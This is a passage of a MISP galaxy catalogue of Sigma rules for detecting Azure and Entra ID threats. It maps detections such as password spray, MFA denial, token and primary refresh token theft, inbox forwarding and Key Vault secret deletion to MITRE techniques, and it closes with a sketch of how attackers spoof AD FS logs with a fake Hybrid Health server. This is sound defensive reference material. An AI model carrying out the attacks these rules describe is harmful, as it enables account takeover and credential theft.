- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Request Generation - T1621" with estimative-language:likelihood-probability="almost-certain"

Table 17153. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_mfa_interrupted.yml

Sign-in Failure Due to Conditional Access Requirements Not Met

Define a baseline threshold for failed sign-ins due to Conditional Access failures

The tag is: *misp-galaxy:sigma-rules="Sign-in Failure Due to Conditional Access Requirements Not Met"*

View relationships graph

Sign-in Failure Due to Conditional Access Requirements Not Met has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17154. Table References

Links
https://learn.microsoft.com/en-gb/entra/architecture/security-operations-privileged-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_conditional_access_failure.yml

Failed Authentications From Countries You Do Not Operate Out Of

Detect failed authentications from countries you do not operate out of.

The tag is: *misp-galaxy:sigma-rules="Failed Authentications From Countries You Do Not Operate Out Of"*

View relationships graph

Failed Authentications From Countries You Do Not Operate Out Of has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 17155. Table References

Links
https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml

Sign-ins by Unknown Devices

Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.

The tag is: *misp-galaxy:sigma-rules="Sign-ins by Unknown Devices"*

View relationships graph

Sign-ins by Unknown Devices has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17156. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#non-compliant-device-sign-in
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_sign_ins_from_unknown_devices.yml

Increased Failed Authentications Of Any Type

Detects when sign-ins increased by 10% or greater.

The tag is: *misp-galaxy:sigma-rules="Increased Failed Authentications Of Any Type"*

View relationships graph

Increased Failed Authentications Of Any Type has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17157. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_auth_failure_increase.yml

Azure Unusual Authentication Interruption

Detects when there is a interruption in the authentication process.

The tag is: *misp-galaxy:sigma-rules="Azure Unusual Authentication Interruption"*

View relationships graph

Azure Unusual Authentication Interruption has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17158. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_unusual_authentication_interruption.yml

Account Lockout

Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.

The tag is: *misp-galaxy:sigma-rules="Account Lockout"*

View relationships graph

Account Lockout has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 17159. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_account_lockout.yml

Login to Disabled Account

Detect failed attempts to sign in to disabled accounts.

The tag is: *misp-galaxy:sigma-rules="Login to Disabled Account"*

View relationships graph

Login to Disabled Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17160. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_login_to_disabled_account.yml

Application Using Device Code Authentication Flow

Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments. If this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted. This can be a misconfigured application or potentially something malicious.

The tag is: *misp-galaxy:sigma-rules="Application Using Device Code Authentication Flow"*

View relationships graph

Application Using Device Code Authentication Flow has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17161. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-authentication-flows
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_app_device_code_authentication.yml

Account Disabled or Blocked for Sign in Attempts

Detects when an account is disabled or blocked for sign in but tried to log in

The tag is: *misp-galaxy:sigma-rules="Account Disabled or Blocked for Sign in Attempts"*

View relationships graph

Account Disabled or Blocked for Sign in Attempts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17162. Table References

Links
https://learn.microsoft.com/en-gb/entra/architecture/security-operations-privileged-accounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_blocked_account_attempt.yml

Multifactor Authentication Denied

User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.

The tag is: *misp-galaxy:sigma-rules="Multifactor Authentication Denied"*

View relationships graph

Multifactor Authentication Denied has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Request Generation - T1621" with estimative-language:likelihood-probability="almost-certain"

Table 17163. Table References

Links
https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_mfa_denies.yml

Users Authenticating To Other Azure AD Tenants

Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.

The tag is: *misp-galaxy:sigma-rules="Users Authenticating To Other Azure AD Tenants"*

View relationships graph

Users Authenticating To Other Azure AD Tenants has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17164. Table References

Links
https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts#monitoring-external-user-sign-ins
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_users_authenticating_to_other_azure_ad_tenants.yml

Device Registration or Join Without MFA

Monitor and alert for device registration or join events where MFA was not performed.

The tag is: *misp-galaxy:sigma-rules="Device Registration or Join Without MFA"*

View relationships graph

Device Registration or Join Without MFA has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17165. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-registrations-and-joins-outside-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_device_registration_or_join_without_mfa.yml

Authentications To Important Apps Using Single Factor Authentication

Detect when authentications to important application(s) only required single-factor authentication

The tag is: *misp-galaxy:sigma-rules="Authentications To Important Apps Using Single Factor Authentication"*

View relationships graph

Authentications To Important Apps Using Single Factor Authentication has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17166. Table References

Links
https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_auth_to_important_apps_using_single_factor_auth.yml

Activity From Anonymous IP Address

Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.

The tag is: *misp-galaxy:sigma-rules="Activity From Anonymous IP Address"*

View relationships graph

Activity From Anonymous IP Address has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17167. Table References

Links
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#activity-from-anonymous-ip-address
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_anonymous_ip_activity.yml

SAML Token Issuer Anomaly

Indicates the SAML token issuer for the associated SAML token is potentially compromised. The claims included in the token are unusual or match known attacker patterns

The tag is: *misp-galaxy:sigma-rules="SAML Token Issuer Anomaly"*

View relationships graph

SAML Token Issuer Anomaly has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606" with estimative-language:likelihood-probability="almost-certain"

Table 17168. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#token-issuer-anomaly

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_token_issuer_anomaly.yml

Impossible Travel

Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.

The tag is: *misp-galaxy:sigma-rules="Impossible Travel"*

View relationships graph

Impossible Travel has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17169. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#impossible-travel
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_impossible_travel.yml

Primary Refresh Token Access Attempt

Indicates access attempt to the PRT resource which can be used to move laterally into an organization or perform credential theft

The tag is: *misp-galaxy:sigma-rules="Primary Refresh Token Access Attempt"*

View relationships graph

Primary Refresh Token Access Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"

Table 17170. Table References

Links
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#possible-attempt-to-access-primary-refresh-token-prt
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_prt_access.yml

Malicious IP Address Sign-In Suspicious

Indicates sign-in from a malicious IP address known to be malicious at time of sign-in.

The tag is: *misp-galaxy:sigma-rules="Malicious IP Address Sign-In Suspicious"*

View relationships graph

Malicious IP Address Sign-In Suspicious has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 17171. Table References

Links
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malicious-ip-address
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_malicious_ip_address_suspicious.yml

Anomalous Token

Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location.

The tag is: *misp-galaxy:sigma-rules="Anomalous Token"*

View relationships graph

Anomalous Token has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"

Table 17172. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anomalous-token

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_anomalous_token.yml

New Country

Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.

The tag is: *misp-galaxy:sigma-rules="New Country"*

View relationships graph

New Country has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17173. Table References

Links
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#new-country
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_new_coutry_region.yml

Malicious IP Address Sign-In Failure Rate

Indicates sign-in from a malicious IP address based on high failure rates.

The tag is: *misp-galaxy:sigma-rules="Malicious IP Address Sign-In Failure Rate"*

View relationships graph

Malicious IP Address Sign-In Failure Rate has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 17174. Table References

Links
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malicious-ip-address
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_malicious_ip_address.yml

Anomalous User Activity

Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.

The tag is: *misp-galaxy:sigma-rules="Anomalous User Activity"*

View relationships graph

Anomalous User Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 17175. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anomalous-user-activity
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_anomalous_user.yml

Suspicious Browser Activity

Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser

The tag is: *misp-galaxy:sigma-rules="Suspicious Browser Activity"*

View relationships graph

Suspicious Browser Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17176. Table References

Links
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-browser
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_suspicious_browser.yml

Suspicious Inbox Forwarding Identity Protection

Indicates suspicious rules such as an inbox rule that forwards a copy of all emails to an external address

The tag is: *misp-galaxy:sigma-rules="Suspicious Inbox Forwarding Identity Protection"*

View relationships graph

Suspicious Inbox Forwarding Identity Protection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003" with estimative-language:likelihood-probability="almost-certain"

Table 17177. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-inbox-forwarding
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_inbox_forwarding_rule.yml

Unfamiliar Sign-In Properties

Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.

The tag is: *misp-galaxy:sigma-rules="Unfamiliar Sign-In Properties"*

View relationships graph

Unfamiliar Sign-In Properties has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17178. Table References

Links
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#unfamiliar-sign-in-properties
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_unfamilar_sign_in.yml

Azure AD Threat Intelligence

Indicates user activity that is unusual for the user or consistent with known attack patterns.

The tag is: *misp-galaxy:sigma-rules="Azure AD Threat Intelligence"*

View relationships graph

Azure AD Threat Intelligence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17179. Table References

Links
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#azure-ad-threat-intelligence-user
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#azure-ad-threat-intelligence-sign-in
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_threat_intel.yml

Azure AD Account Credential Leaked

Indicates that the user's valid credentials have been leaked.

The tag is: *misp-galaxy:sigma-rules="Azure AD Account Credential Leaked"*

View relationships graph

Azure AD Account Credential Leaked has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Gather Victim Identity Information - T1589" with estimative-language:likelihood-probability="almost-certain"

Table 17180. Table References

Links
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#leaked-credentials

https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_leaked_credentials.yml

Sign-In From Malware Infected IP

Indicates sign-ins from IP addresses infected with malware that is known to actively communicate with a bot server.

The tag is: *misp-galaxy:sigma-rules="Sign-In From Malware Infected IP"*

View relationships graph

Sign-In From Malware Infected IP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 17181. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malware-linked-ip-address-deprecated
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_malware_linked_ip.yml

Suspicious Inbox Manipulation Rules

Detects suspicious rules that delete or move messages or folders are set on a user's inbox.

The tag is: *misp-galaxy:sigma-rules="Suspicious Inbox Manipulation Rules"*

View relationships graph

Suspicious Inbox Manipulation Rules has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 17182. Table References

Links
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-inbox-manipulation-rules

https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_inbox_manipulation.yml

Password Spray Activity

Indicates that a password spray attack has been successfully performed.

The tag is: *misp-galaxy:sigma-rules="Password Spray Activity"*

View relationships graph

Password Spray Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 17183. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#password-spray
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_password_spray.yml

Anonymous IP Address

Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN.

The tag is: *misp-galaxy:sigma-rules="Anonymous IP Address"*

View relationships graph

Anonymous IP Address has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"

Table 17184. Table References

Links
https://learn.microsoft.com/en-us/graph/api/resources/riskdetection?view=graph-rest-1.0

https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anonymous-ip-address
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_anonymous_ip_address.yml

Atypical Travel

Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.

The tag is: *misp-galaxy:sigma-rules="Atypical Travel"*

View relationships graph

Atypical Travel has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17185. Table References

Links
https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#atypical-travel
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_atypical_travel.yml

Azure Kubernetes Pods Deleted

Identifies the deletion of Azure Kubernetes Pods.

The tag is: *misp-galaxy:sigma-rules="Azure Kubernetes Pods Deleted"*

Table 17186. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_pods_deleted.yml

Azure Container Registry Created or Deleted

Detects when a Container Registry is created or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Container Registry Created or Deleted"*

View relationships graph

Azure Container Registry Created or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 17187. Table References

Links
https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_container_registry_created_or_deleted.yml

Azure Service Principal Created

Identifies when a service principal is created in Azure.

The tag is: *misp-galaxy:sigma-rules="Azure Service Principal Created"*

Table 17188. Table References

Links
https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#application-proxy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_service_principal_created.yml

Azure Kubernetes Sensitive Role Access

Identifies when ClusterRoles/Roles are being modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Kubernetes Sensitive Role Access"*

View relationships graph

Azure Kubernetes Sensitive Role Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 17189. Table References

Links
https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_role_access.yml

Azure Kubernetes Secret or Config Object Access

Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.

The tag is: *misp-galaxy:sigma-rules="Azure Kubernetes Secret or Config Object Access"*

View relationships graph

Azure Kubernetes Secret or Config Object Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 17190. Table References

Links
https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1

https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_secret_or_config_object_access.yml

Azure Keyvault Secrets Modified or Deleted

Identifies when secrets are modified or deleted in Azure.

The tag is: *misp-galaxy:sigma-rules="Azure Keyvault Secrets Modified or Deleted"*

View relationships graph

Azure Keyvault Secrets Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 17191. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_keyvault_secrets_modified_or_deleted.yml

Azure Application Deleted

Identifies when a application is deleted in Azure.

The tag is: *misp-galaxy:sigma-rules="Azure Application Deleted"*

View relationships graph

Azure Application Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 17192. Table References

Links

https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#application-proxy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_application_deleted.yml

Azure Owner Removed From Application or Service Principal

Identifies when a owner is was removed from a application or service principal in Azure.

The tag is: *misp-galaxy:sigma-rules="Azure Owner Removed From Application or Service Principal"*

Table 17193. Table References

Links
https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#application-proxy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_owner_removed_from_application_or_service_principal.yml

Azure Device or Configuration Modified or Deleted

Identifies when a device or device configuration in azure is modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Device or Configuration Modified or Deleted"*

View relationships graph

Azure Device or Configuration Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"

Table 17194. Table References

Links
https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#core-directory
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_device_or_configuration_modified_or_deleted.yml

Azure Service Principal Removed

Identifies when a service principal was removed in Azure.

The tag is: *misp-galaxy:sigma-rules="Azure Service Principal Removed"*

Table 17195. Table References

Links
https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#application-proxy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_service_principal_removed.yml

Azure Subscription Permission Elevation Via ActivityLogs

Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.

The tag is: *misp-galaxy:sigma-rules="Azure Subscription Permission Elevation Via ActivityLogs"*

View relationships graph

Azure Subscription Permission Elevation Via ActivityLogs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17196. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_subscription_permissions_elevation_via_activitylogs.yml

Azure Virtual Network Modified or Deleted

Identifies when a Virtual Network is modified or deleted in Azure.

The tag is: *misp-galaxy:sigma-rules="Azure Virtual Network Modified or Deleted"*

Table 17197. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_virtual_network_modified_or_deleted.yml

Azure Firewall Rule Configuration Modified or Deleted

Identifies when a Firewall Rule Configuration is Modified or Deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Firewall Rule Configuration Modified or Deleted"*

Table 17198. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_firewall_rule_modified_or_deleted.yml

Azure Active Directory Hybrid Health AD FS New Server

This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service. A threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server. This can be done programmatically via HTTP requests to Azure.

The tag is: *misp-galaxy:sigma-rules="Azure Active Directory Hybrid Health AD FS New Server"*

